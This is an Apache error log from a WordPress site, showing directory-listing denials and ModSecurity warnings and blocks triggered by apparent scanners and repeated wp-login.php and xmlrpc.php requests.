[Fri Jan 30 22:09:18.014887 2026] [autoindex:error] [pid 46913:tid 46975] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:18.622095 2026] [autoindex:error] [pid 46913:tid 46954] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:26.466129 2026] [autoindex:error] [pid 46913:tid 46971] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:30.012224 2026] [autoindex:error] [pid 46913:tid 46959] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:37.526022 2026] [autoindex:error] [pid 46913:tid 46967] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:38.084896 2026] [autoindex:error] [pid 46913:tid 46964] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:09:38.650808 2026] [autoindex:error] [pid 46913:tid 46960] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:17.509044 2026] [autoindex:error] [pid 46913:tid 46971] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:24.140012 2026] [autoindex:error] [pid 46913:tid 46971] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:24.705478 2026] [autoindex:error] [pid 46913:tid 46958] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:26.412789 2026] [autoindex:error] [pid 46913:tid 46973] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:26.964805 2026] [autoindex:error] [pid 46913:tid 46957] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:27.515450 2026] [autoindex:error] [pid 46913:tid 46972] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:10:52.986161 2026] [autoindex:error] [pid 46913:tid 46954] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:13:43.038115 2026] [autoindex:error] [pid 46913:tid 46965] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:13:43.595052 2026] [autoindex:error] [pid 46913:tid 46953] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:13:44.146424 2026] [autoindex:error] [pid 46913:tid 46974] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:13:44.710684 2026] [autoindex:error] [pid 46913:tid 46972] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:01.822087 2026] [autoindex:error] [pid 46913:tid 46962] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:02.380988 2026] [autoindex:error] [pid 46913:tid 46952] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:08.819051 2026] [autoindex:error] [pid 46913:tid 46973] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:17.386507 2026] [autoindex:error] [pid 46913:tid 46973] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:17.955880 2026] [autoindex:error] [pid 46913:tid 46969] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:14:18.517892 2026] [autoindex:error] [pid 46913:tid 46965] [client 45.137.126.37:44053] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 30 22:23:25.212599 2026] [:error] [pid 24712:tid 24749] [client 57.128.117.142:47632] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXy-3YRLQrFiQF3h9-ttpwAAAYg"]
[Fri Jan 30 22:47:47.307127 2026] [:error] [pid 47021:tid 47025] [client 91.217.249.195:54763] [client 91.217.249.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzEk9ap1k13UdZUNSRwFAAAAMI"]
[Fri Jan 30 22:47:47.307406 2026] [:error] [pid 47021:tid 47027] [client 91.217.249.211:48383] [client 91.217.249.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzEk9ap1k13UdZUNSRwFQAAAMQ"]
[Fri Jan 30 22:56:12.598519 2026] [:error] [pid 46914:tid 46990] [client 43.249.83.179:51987] [client 43.249.83.179] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/feed/"] [unique_id "aXzGjFgSfJ4kZxNKlb_4agAAAIw"]
[Sat Jan 31 00:02:35.405510 2026] [:error] [pid 38980:tid 38994] [client 91.217.249.206:56271] [client 91.217.249.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzWG7YByxUZEaKXdHrUGQAAAgc"]
[Sat Jan 31 00:02:35.405606 2026] [:error] [pid 47663:tid 47665] [client 91.217.249.188:41231] [client 91.217.249.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzWG0HGTrgIKCqEYbXC9QAAAkA"]
[Sat Jan 31 00:32:23.228561 2026] [:error] [pid 59660:tid 59685] [client 217.154.5.38:39386] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXzdFywTX33V6TPUqxPSogAAABU"]
[Sat Jan 31 00:57:26.542546 2026] [:error] [pid 59661:tid 59712] [client 193.202.110.29:33972] [client 193.202.110.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.202.110.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXzi9pw_qINw5Uk-43XOaQAAAFU"]
[Sat Jan 31 00:57:33.607544 2026] [:error] [pid 59748:tid 59758] [client 184.168.120.235:33280] [client 184.168.120.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.120.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXzi_WlxTen-ziDxotR2HQAAAMc"]
[Sat Jan 31 00:57:42.427760 2026] [:error] [pid 59661:tid 59694] [client 122.114.195.191:44328] [client 122.114.195.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.114.195.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXzjBpw_qINw5Uk-43XOjgAAAEM"]
[Sat Jan 31 00:58:10.154366 2026] [:error] [pid 59661:tid 59699] [client 34.72.177.182:59736] [client 34.72.177.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.177.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXzjIpw_qINw5Uk-43XOugAAAEg"]
[Sat Jan 31 01:17:42.562093 2026] [:error] [pid 59661:tid 59705] [client 209.172.2.20:36602] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzntpw_qINw5Uk-43XWwQAAAE4"]
[Sat Jan 31 01:17:44.552768 2026] [:error] [pid 59661:tid 59713] [client 209.172.2.20:36602] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXznuJw_qINw5Uk-43XWzAAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 01:20:00.990394 2026] [:error] [pid 59660:tid 59680] [client 91.217.249.220:39951] [client 91.217.249.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzoQCwTX33V6TPUqxPrIAAAABA"]
[Sat Jan 31 01:20:00.994280 2026] [:error] [pid 59660:tid 59686] [client 91.217.249.219:50461] [client 91.217.249.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzoQCwTX33V6TPUqxPrIQAAABY"]
[Sat Jan 31 01:49:43.206726 2026] [autoindex:error] [pid 59661:tid 59709] [client 20.46.176.183:23039] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 01:49:59.817305 2026] [autoindex:error] [pid 59661:tid 59702] [client 20.46.176.183:23039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 01:50:02.897928 2026] [autoindex:error] [pid 59661:tid 59712] [client 20.46.176.183:23039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 01:50:04.541869 2026] [autoindex:error] [pid 59661:tid 59701] [client 20.46.176.183:23039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 01:50:06.209560 2026] [:error] [pid 59661:tid 59696] [client 20.46.176.183:23039] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aXzvTpw_qINw5Uk-43XjVwAAAEU"]
[Sat Jan 31 01:50:06.670717 2026] [:error] [pid 59662:tid 59733] [client 20.46.176.183:23000] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aXzvTg7k73dlTgySEchevQAAAI8"]
[Sat Jan 31 01:50:07.274087 2026] [:error] [pid 8386:tid 8404] [client 20.46.176.183:23320] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aXzvT9ZVZWDVqOkRRiJXOgAAAdA"]
[Sat Jan 31 01:50:07.881465 2026] [:error] [pid 8354:tid 8361] [client 20.46.176.183:23372] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aXzvT927IpxWjEJXCd8YyAAAAYU"]
[Sat Jan 31 02:01:32.469618 2026] [:error] [pid 8354:tid 8365] [client 103.176.179.125:59608] [client 103.176.179.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.176.179.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzx_N27IpxWjEJXCd8a2QAAAYk"]
[Sat Jan 31 02:01:34.257828 2026] [:error] [pid 8354:tid 8371] [client 103.176.179.125:59608] [client 103.176.179.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.176.179.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzx_t27IpxWjEJXCd8a3QAAAY8"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 02:09:32.237971 2026] [:error] [pid 60001:tid 60003] [client 181.215.193.63:60244] [client 181.215.193.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.193.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzz3KM2ziQ7JN4IjDxcxwAAAQA"]
[Sat Jan 31 02:09:34.572692 2026] [:error] [pid 60001:tid 60015] [client 181.215.193.63:60244] [client 181.215.193.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.193.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXzz3qM2ziQ7JN4IjDxcygAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 02:12:09.033744 2026] [:error] [pid 10752:tid 10775] [client 41.185.8.130:54824] [client 41.185.8.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz0ednA3-xSNwP9jig3_wAAA5E"]
[Sat Jan 31 02:12:11.109806 2026] [:error] [pid 10752:tid 10781] [client 41.185.8.130:54824] [client 41.185.8.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.185.8.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz0e9nA3-xSNwP9jig4AwAAA5c"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 02:13:14.963334 2026] [:error] [pid 8354:tid 8366] [client 181.215.193.63:25852] [client 181.215.193.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.193.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz0ut27IpxWjEJXCd8dpQAAAYo"]
[Sat Jan 31 02:13:17.323711 2026] [:error] [pid 8354:tid 8377] [client 181.215.193.63:25852] [client 181.215.193.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.193.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz0vd27IpxWjEJXCd8dqQAAAZU"], referer: https://gigfragments.org/wp-login.php
[Sat Jan 31 02:45:14.236335 2026] [:error] [pid 59748:tid 59771] [client 91.217.249.200:26297] [client 91.217.249.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz8OmlxTen-ziDxotSYxwAAANQ"]
[Sat Jan 31 02:45:14.238007 2026] [:error] [pid 60001:tid 60022] [client 45.86.202.226:40681] [client 45.86.202.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXz8OqM2ziQ7JN4IjDxjjQAAARM"]
[Sat Jan 31 02:50:42.332583 2026] [:error] [pid 10720:tid 10733] [client 103.216.117.42:59680] [client 103.216.117.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.117.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXz9gkmcu3PWs0UerXLPbgAAA0s"]
